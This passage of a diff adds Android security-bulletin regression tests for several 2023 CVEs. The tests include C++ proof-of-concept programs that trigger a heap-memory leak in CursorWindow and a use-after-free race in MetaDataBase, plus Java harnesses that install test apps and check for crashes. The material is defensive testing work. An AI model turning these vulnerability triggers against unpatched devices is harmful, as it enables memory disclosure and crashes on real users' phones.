+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// To access constructor of CursorWindow along with its fields
+#define private public
+
+#include <androidfw/CursorWindow.h>
+#include <binder/Parcel.h>
+#include <utils/String8.h>
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+
+using namespace android;
+
+char enable_selective_overload = ENABLE_NONE;
+bool is_tracking_required(size_t size) {
+    return (size != 0);
+}
+constexpr int kSize = 0;
+String8 kEmptyString = String8("");
+
+int main() {
+    // Create CursorWindow object to invoke CursorWindow::create() to get the CursorWindow class's
+    // constructor
+    CursorWindow* window;
+    CursorWindow::create(kEmptyString, kSize, &window);
+
+    // Create parcel object
+    Parcel parcelObj;
+    Parcel* parcel = &parcelObj;
+
+    // Assign values to window object to hit the vulnerability from CursorWindow.h
+    window->mAllocOffset = 1;
+    window->mName = kEmptyString;
+    window->mNumColumns = kSize;
+    window->mNumRows = kSize;
+    window->mSize = kSize;
+    window->mSlotsOffset = kSize;
+
+    // Invoke vulnerable function
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    window->writeToParcel(parcel);
+    enable_selective_overload = ENABLE_NONE;
+
+    // Set data position of parcel to 0
+    parcel->setDataPosition(0);
+
+    // Since writes were made on parcel object in source code, hence the exact same reads have to
+    // be made and checked accordingly to access the correct index of parcel
+    FAIL_CHECK(parcel->readString8().string() == kEmptyString);
+    FAIL_CHECK(parcel->readUint32(&window->mNumRows) == kSize);
+    FAIL_CHECK(parcel->readUint32(&window->mNumColumns) == kSize);
+    size_t compactSize = parcel->readUint32(); /* value is different with and without fix */
+    parcel->readBool();
+
+    // Create pointer dest using compactSize
+    const void* dest = parcel->readInplace(compactSize);
+    FAIL_CHECK(dest);
+
+    const uint8_t* leakedBytes = static_cast<const uint8_t*>(dest) + compactSize;
+    FAIL_CHECK(leakedBytes);
+
+    // Check if any leaks are present in leakedBytes
+    // The fix removes the code that CursorWindow::writeToParcel() uses to ensure slot data is
+    // 4-byte aligned because 'mAllocOffset' and 'mSlotsOffset' are already 4-byte aligned,
+    // alignment step here is unnecessary which causes leak of uninitialized heap content
+    // INITIAL_VAL = 0xBE
+    bool isVulnerable = false;
+    if (leakedBytes[0] == INITIAL_VAL && leakedBytes[1] == INITIAL_VAL &&
+        leakedBytes[2] == INITIAL_VAL) {
+        isVulnerable = true;
+    }
+
+    return isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/Android.bp
new file mode 100644
index 0000000..e1f0ea7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2023-40077",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmedia",
+        "libstagefright_foundation",
+        "libdatasource",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/poc.cpp
new file mode 100644
index 0000000..f68b9d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/poc.cpp
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <media/stagefright/MetaDataBase.h>
+#include <pthread.h>
+
+using namespace android;
+using namespace std;
+
+char enable_selective_overload = ENABLE_NONE;
+const int maxValue = 100000;
+
+void *even_thread(void *metaDataBase) {
+  MetaDataBase *metaDataBaseObj = (MetaDataBase *)metaDataBase;
+  for (int i = 0; i <= maxValue; i += 2) {
+    metaDataBaseObj->setInt32(i, i);
+  }
+  return nullptr;
+}
+
+void *odd_thread(void *metaDataBase) {
+  MetaDataBase *metaDataBaseObj = (MetaDataBase *)metaDataBase;
+  for (int i = 1; i <= maxValue; i += 2) {
+    metaDataBaseObj->setInt32(i, i);
+  }
+  return nullptr;
+}
+
+int main() {
+  MetaDataBase metaDataBase = MetaDataBase();
+  pthread_t even_thread_id;
+  pthread_t odd_thread_id;
+
+  enable_selective_overload = ENABLE_ALL;
+  pthread_create(&even_thread_id, nullptr, even_thread, &metaDataBase);
+  pthread_create(&odd_thread_id, nullptr, odd_thread, &metaDataBase);
+
+  // Wait for the threads to finish
+  pthread_join(even_thread_id, nullptr);
+  pthread_join(odd_thread_id, nullptr);
+  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21091.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21091.java
index 8f1340c..f78b59d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21091.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21091.java
@@ -20,6 +20,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.sts.common.UserUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,32 +34,23 @@
     @AsbSecurityTest(cveBugId = 257954050)
     @Test
     public void testCVE_2023_21091() {
-        ITestDevice device = null;
-        int testUserId = -1;
         try {
-            device = getDevice();
+            ITestDevice device = getDevice();
+            final String testPkg = "android.security.cts.CVE_2023_21091";
 
             // Creating a new user.
-            testUserId = device.createUser("testUser");
-            device.startUser(testUserId);
-            device.switchUser(testUserId);
+            try (AutoCloseable asSecondaryUser =
+                    new UserUtils.SecondaryUser(device)
+                            .name("cve_2023_21091_user")
+                            .doSwitch()
+                            .withUser()) {
+                installPackage("CVE-2023-21091.apk", "--user " + device.getCurrentUser());
 
-            final String testPkg = "android.security.cts.CVE_2023_21091";
-            installPackage("CVE-2023-21091.apk", "--user " + testUserId);
-
-            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2023_21091");
+                // Run DeviceTest
+                runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2023_21091");
+            }
         } catch (Exception e) {
             assumeNoException(e);
-        } finally {
-            try {
-                if (testUserId != -1) {
-                    device.switchUser(0);
-                    device.stopUser(testUserId);
-                    device.removeUser(testUserId);
-                }
-            } catch (Exception ignored) {
-                // ignore the exceptions
-            }
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21131.java
new file mode 100644
index 0000000..9851196
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21131.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21131 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 265015796)
+    @Test
+    public void testPocCVE_2023_21131() {
+        try {
+            // Install the test and target apps
+            installPackage("CVE-2023-21131-test.apk");
+            installPackage("CVE-2023-21131-target.apk");
+
+            final String testPkg = "android.security.cts.CVE_2023_21131_test";
+
+            // Run the test "testCVE_2023_21131"
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_21131");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21241.java
new file mode 100644
index 0000000..7dae9fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21241.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.NativePocCrashAsserter.assertNoCrash;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.NativePoc;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21241 extends NonRootSecurityTestCase {
+
+    // b/271849189
+    // Vulnerability Behaviour : SIGSEGV in self
+    // Vulnerable Library: libnfc-nci (As per AOSP code)
+    // Vulnerable Function: rw_i93_send_to_upper (As per AOSP code)
+    @AsbSecurityTest(cveBugId = 271849189)
+    @Test
+    public void testPocCVE_2023_21241() {
+        try {
+            final String binaryName = "CVE-2023-21241";
+            String[] signals = {TombstoneUtils.Signals.SIGSEGV};
+
+            TombstoneUtils.Config crashConfig =
+                    new TombstoneUtils.Config()
+                            .setProcessPatterns(binaryName)
+                            .setBacktraceIncludes(
+                                    new BacktraceFilterPattern(
+                                            "libnfc-nci", "rw_i93_send_to_upper"))
+                            .setSignals(signals);
+
+            NativePoc.builder()
+                    .pocName(binaryName)
+                    .asserter(assertNoCrash(crashConfig))
+                    .build()
+                    .run(this);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21276.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21276.java
new file mode 100644
index 0000000..bf8995b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21276.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.NativePocStatusAsserter.assertNotVulnerableExitCode;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.NativePoc;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21276 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 213170822)
+    @Test
+    public void testPocCVE_2023_21276() {
+        try {
+            NativePoc.builder()
+                    .pocName("CVE-2023-21276")
+                    .asserter(assertNotVulnerableExitCode())
+                    .build()
+                    .run(this);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35667.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35667.java
new file mode 100644
index 0000000..212eebf
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35667.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_35667 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 282932362)
+    @Test
+    public void testPocCVE_2023_35667() {
+        try {
+            installPackage("CVE-2023-35667-test.apk");
+            installPackage("CVE-2023-35667-helper1.apk");
+            installPackage("CVE-2023-35667-helper2.apk");
+
+            // Sufficiently large component name to invoke vulnerability.
+            final String sufficientlyLargeComponentName =
+                    String.format("%0" + (215 /* ServiceClassNameLength */) + "d", 0)
+                            .replace("0", "A");
+            final String testPkg = "android.security.cts.CVE_2023_35667";
+            final String testServicePkg = testPkg + "." + sufficientlyLargeComponentName;
+
+            // Allowing NotificationListenerService.
+            ITestDevice uiDevice = getDevice();
+            String cmdToAllowListenerService = "cmd notification allow_listener %s/%s.%s";
+            uiDevice.executeShellV2Command(
+                    String.format(
+                            cmdToAllowListenerService,
+                            testPkg + ".aaaaab",
+                            testPkg + ".aaaaab",
+                            "HelperListenerService1"));
+            uiDevice.executeShellV2Command(
+                    String.format(
+                            cmdToAllowListenerService,
+                            testPkg,
+                            testServicePkg,
+                            sufficientlyLargeComponentName));
+            uiDevice.executeShellV2Command(
+                    String.format(
+                            cmdToAllowListenerService,
+                            testPkg + ".aaaaaa",
+                            testPkg + ".aaaaaa",
+                            "HelperListenerService2"));
+
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2023_35667");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35668.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35668.java
new file mode 100644
index 0000000..4a2d77d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35668.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.UserUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_35668 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 283962802)
+    @Test
+    public void testPocCVE_2023_35668() {
+        try {
+            ITestDevice device = getDevice();
+            final String testPkg = "android.security.cts.CVE_2023_35668";
+            installPackage("CVE-2023-35668.apk", "-g");
+
+            try (AutoCloseable asSecondaryUser =
+                    new UserUtils.SecondaryUser(device)
+                            .name("cve_2023_35668_user")
+                            .withUser()) {
+
+                // Run DeviceTest
+                runDeviceTests(testPkg, testPkg + ".DeviceTest", "testWearableExtenderUri");
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40077.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40077.java
new file mode 100644
index 0000000..dfe1624
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40077.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.NativePocCrashAsserter.assertNoCrash;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.NativePoc;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40077 extends NonRootSecurityTestCase {
+
+    // b/298057702
+    // Vulnerability Behaviour: SIGSEGV in self due to use-after-free
+    // Vulnerable Library: libstagefright_foundation (As per AOSP code)
+    // Vulnerable Function(s): MetaDataBase::setData (As per AOSP code)
+    @AsbSecurityTest(cveBugId = 298057702)
+    @Test
+    public void testPocCVE_2023_40077() {
+        try {
+            final String library = "libstagefright_foundation";
+            final String binaryName = "CVE-2023-40077";
+            String[] signals = {TombstoneUtils.Signals.SIGSEGV};
+            TombstoneUtils.Config crashConfig =
+                    new TombstoneUtils.Config()
+                            .setProcessPatterns(binaryName)
+                            .setBacktraceIncludes(
+                                    new BacktraceFilterPattern(library, "MetaDataBase::setData"))
+                            .setSignals(signals)
+                            .setIgnoreLowFaultAddress(true);
+            NativePoc poc =
+                    NativePoc.builder()
+                            .pocName(binaryName)
+                            .asserter(assertNoCrash(crashConfig))
+                            .build();
+            // Time taken for poc to complete is around 3 seconds. Hence choosing the timeout as
+            // 30 seconds to facilitate a minimum of 10 runs.
+            final long timeout = 30_000L;
+            long startTime = System.currentTimeMillis();
+            // The expected UAF crash gets reproduced at least once in every 10 runs, so a buffer
+            // of 10 is added. Hence keeping the number of runs as 20.
+            int runs = 20;
+            // Due to the race condition, it is observed that an unrelated crash occurs
+            // instead of the expected UAF crash in some runs and the PoC exits. This
+            // causes an ASSUMPTION FAILURE. Therefore, the PoC is run in a loop for 20
+            // times or for 30 seconds(whichever ends first), to ignore any unrelated crashes.
+            do {
+                try {
+                    poc.run(this);
+                } catch (Exception e) {
+                    // Ignore exceptions due to any unrelated crash.
+                }
+                runs--;
+            } while ((System.currentTimeMillis() - startTime <= timeout) && (runs > 0));
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40086.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40086.java
new file mode 100644
index 0000000..8d2be6e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40086.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.CommandUtil.runAndCheck;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.UserUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40086 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 296915211)
+    @Test
+    public void testPocCVE_2023_40086() {
+        try {
+            ITestDevice device = getDevice();
+
+            // Install test app in device
+            installPackage("CVE-2023-40086.apk");
+
+            // Create new user and save a screenshot in that user
+            final int currentUserId = device.getCurrentUser();
+            try (AutoCloseable asSecondaryUser =
+                    new UserUtils.SecondaryUser(device)
+                            .name("cve_2023_40086_user")
+                            .doSwitch()
+                            .withUser()) {
+                // Taking screenshot in the secondary user
+                runAndCheck(device, "input keyevent KEYCODE_SYSRQ");
+
+                // Wait for screenshot to get saved in the secondary user
+                boolean screenshotSaved = false;
+                int userId = device.getCurrentUser();
+                long startTime = System.currentTimeMillis();
+                do {
+                    screenshotSaved =
+                            runAndCheck(
+                                            device,
+                                            "content query --user "
+                                                    + userId
+                                                    + " --projection _id --uri"
+                                                    + " content://media/external/images/media/")
+                                    .getStdout()
+                                    .contains("Row");
+                    if (screenshotSaved) {
+                        break;
+                    }
+                    RunUtil.getDefault().sleep(100L /* waitPerIteration */);
+                } while ((System.currentTimeMillis() - startTime) <= 5_000L /* timeout  */);
+                assume().withMessage("Screenshot was not saved in the created userId = " + userId)
+                        .that(screenshotSaved)
+                        .isTrue();
+
+                // Switch back to primary user
+                assume().withMessage("Unable to switch back to original user")
+                        .that(device.switchUser(currentUserId))
+                        .isTrue();
+
+                // Run DeviceTest
+                final String testPkg = "android.security.cts.CVE_2023_40086";
+                runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2023_40086");
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40094.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40094.java
new file mode 100644
index 0000000..a627f11
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40094.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.SystemUtil;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40094 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 288896339)
+    @Test
+    public void testPocCVE_2023_40094() {
+        try {
+            // Install the app
+            installPackage("CVE-2023-40094.apk");
+
+            // Enable global hidden_api_policy to access hidden api 'asInterface' of
+            // 'IActivityTaskManager' in DeviceTest
+            try (AutoCloseable withHiddenApis =
+                    SystemUtil.withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+
+                // Run the test "testCVE_2023_40094"
+                final String testPkg = "android.security.cts.CVE_2023_40094";
+                runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_40094");
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40111.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40111.java
new file mode 100644
index 0000000..d2f3d88
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40111.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40111 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 272024837)
+    @Test
+    public void testPocCVE_2023_40111() {
+        try {
+            // Install the app
+            installPackage("CVE-2023-40111.apk");
+
+            // Run the test "testCVE_2023_40111"
+            final String testPkg = "android.security.cts.CVE_2023_40111";
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_40111");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40117.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40117.java
new file mode 100644
index 0000000..152dd5f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40117.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40117 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 253043065)
+    @Test
+    public void testPocCVE_2023_40117() {
+        try {
+            installPackage("CVE-2023-40117.apk");
+
